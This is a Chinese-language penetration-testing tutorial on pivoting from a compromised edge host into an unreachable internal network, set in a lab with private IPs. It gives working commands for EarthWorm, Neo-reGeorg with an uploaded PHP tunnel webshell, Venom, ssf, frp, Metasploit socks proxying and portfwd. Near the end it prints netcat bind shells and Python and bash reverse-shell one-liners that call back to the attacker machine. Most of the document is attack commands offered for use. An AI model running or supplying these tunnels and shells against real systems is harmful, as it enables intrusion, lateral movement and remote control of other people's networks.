0x00 前言
在滲透中拿到一臺邊緣機器後剩餘內網機器不出網的情況很常見,這時我們就需要把內網機器流量轉到邊緣機器上再進行訪問,內網流量轉出來的方法很多,在下面就介紹幾種常見的方法
0x01 環境介紹
本地環境搭建:
邊緣機器:
windows 7ip:192。168。10。15(外)192。168。52。143(內)目標機器:windows 2008R2ip:192。168。52。138攻擊機器:windows 2008ip:192。168。10。3kali:msf5:192。168。10。14msf6:192。168。10。11
0x02 EarthWorm
將ew_for_windows上傳到邊緣機器
1。正向連線
適用於目標機器擁有一個外網ip
在win7機器上執行
ew -s ssocksd -l 888
監聽本機888埠。然後在2008r2機器上使用proxifier進行連線
2。反向連線
適用於邊緣機器無公網ip
攻擊機器上執行
ew_for_Win。exe -s rcsocks -l 1080 -e 1234
對外1234埠轉發到1080埠
然後邊緣機器連線
ew_for_Win。exe -s rssocks -d 192。168。10。3 -e 1234
0x03 Neo-reGeorg
注:這裡需要python環境,在2008R2上弄總是出錯,切到物理機進行實驗,原理相同
生成檔案
python neoreg。py generate -k 123456
在neoreg_servers目錄下生成了木馬檔案
這裡web機器解析php,所以我上傳一個tunnel。php的馬到web機器(win7)上
攻擊機連線
python neoreg。py -k 123456 -u http://192。168。10。15/tunnel。php
0x04 Venom
攻擊機器上執行
admin。exe -lport 9999
邊緣機器(win7)執行
agent。exe -rhost 192。168。10。3 -rport 9999
攻擊機檢視反彈成功
執行命令
goto 1socks 6666
0x05 ssf
1。正向連線
把certs資料夾和ssfd上傳到邊緣機器
邊緣機器開啟1333埠
ssfd。exe ‐p 1333
攻擊機連線邊緣機器的1333埠,並將資料轉發給1222埠
ssfd。exe ‐D 1222 ‐p 1333 192。168。10。15
2008r2出問題,換到物理機上執行
2。反向連線
攻擊機本地監聽1234埠,命令如下:
ssfd。exe ‐p 1234
邊緣機器連線1234埠,並將資料轉發到12345埠,命令如下:
ssf。exe ‐F 12345 ‐p 1234 192。168。10。3
此處沒有實驗成功,還是寫下步驟
本地socks代理連線127。0。0。1 12345埠
0x06 frp
攻擊機設定frps。ini
[common]bind_port = 6666
執行如下命令:
frps。exe -c frps。ini
在邊緣機器設定frpc。ini
[common]server_addr = 192。168。10。3server_port = 6666[http_proxy]type=tcpremote_port=7777plugin=socks5
執行如下命令:
frpc。exe ‐c frpc。ini
監聽本地7777埠
0x07 msf
在msf6下只剩下了socks_proxy這個模組
還是先修改proxychains4。conf這個配置檔案
新增路由使用模組
這裡注意一下,我們在執行之前先show options一下,發現預設是socks5
代理執行如果想使用socks4a代理,新增如下語句即可
set version 4a
修改瀏覽器配置
成功訪問內網資源
拓展:portfwd埠轉發
portfwd 是meterpreter提供的一種基本的埠轉發。porfwd可以反彈單個埠到本地,並且監聽,使用方法如下
portfwd add -l 3389 -r 192。168。52。138 -p 3389
然後我們訪問本地3389
0x08 nc
1。正向連線
需要目標有公網ip
目標機器
nc -lvp 4444 -e /bin/sh linuxnc -lvp 4444 -e c:\windows\system32\cmd。exe windows
攻擊機器
nc <目標機器ip> 4444
2。反向連線
攻擊機器監聽本地1234埠
nc -lvp 1234
目標機器執行
nc
nc
在一般情況下目標機器是沒有nc的,這裡可以用其他工具或者程式語言來代替nc
python反向shell
攻擊機器:
nc -lvp 2222
目標機器:
python -c “import os,socket,subprocess;s=socket。socket(socket。AF_INET,socket。SOCK_STREAM);s。connect((‘192。168。10。3’,2222));os。dup2(s。fileno(),0);os。dup2(s。fileno(),1);os。dup2(s。fileno(),2);p=subprocess。call([‘/bin/bash’,‘-i’]);”
bash反向shell
攻擊機器:
nc -lvp 2222
目標機器:
bash -i >& /dev/tcp/192。168。10。3/2222 0>&1